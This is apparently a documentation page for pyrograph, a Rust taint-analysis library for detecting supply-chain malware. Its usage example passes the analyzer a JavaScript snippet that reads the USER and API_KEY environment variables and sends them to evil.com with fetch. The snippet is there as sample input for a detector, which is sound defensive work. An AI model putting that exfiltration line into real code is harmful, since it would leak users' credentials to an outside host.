pyrograph 0.1.0

GPU-accelerated taint analysis for supply chain malware detection
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
use pyrograph::analyze;

fn main() {
    let js = r#"
        var user = process.env.USER;
        var key = process.env.API_KEY;
        fetch(`https://evil.com/?u=${user}&k=${key}`);
    "#;
    let graph = pyrograph::parse::parse_js(js, "template.js").unwrap();
    let findings = analyze(&graph).unwrap();
    println!("Found {} findings", findings.len());
    for f in findings {
        println!("{:?}", f);
    }
}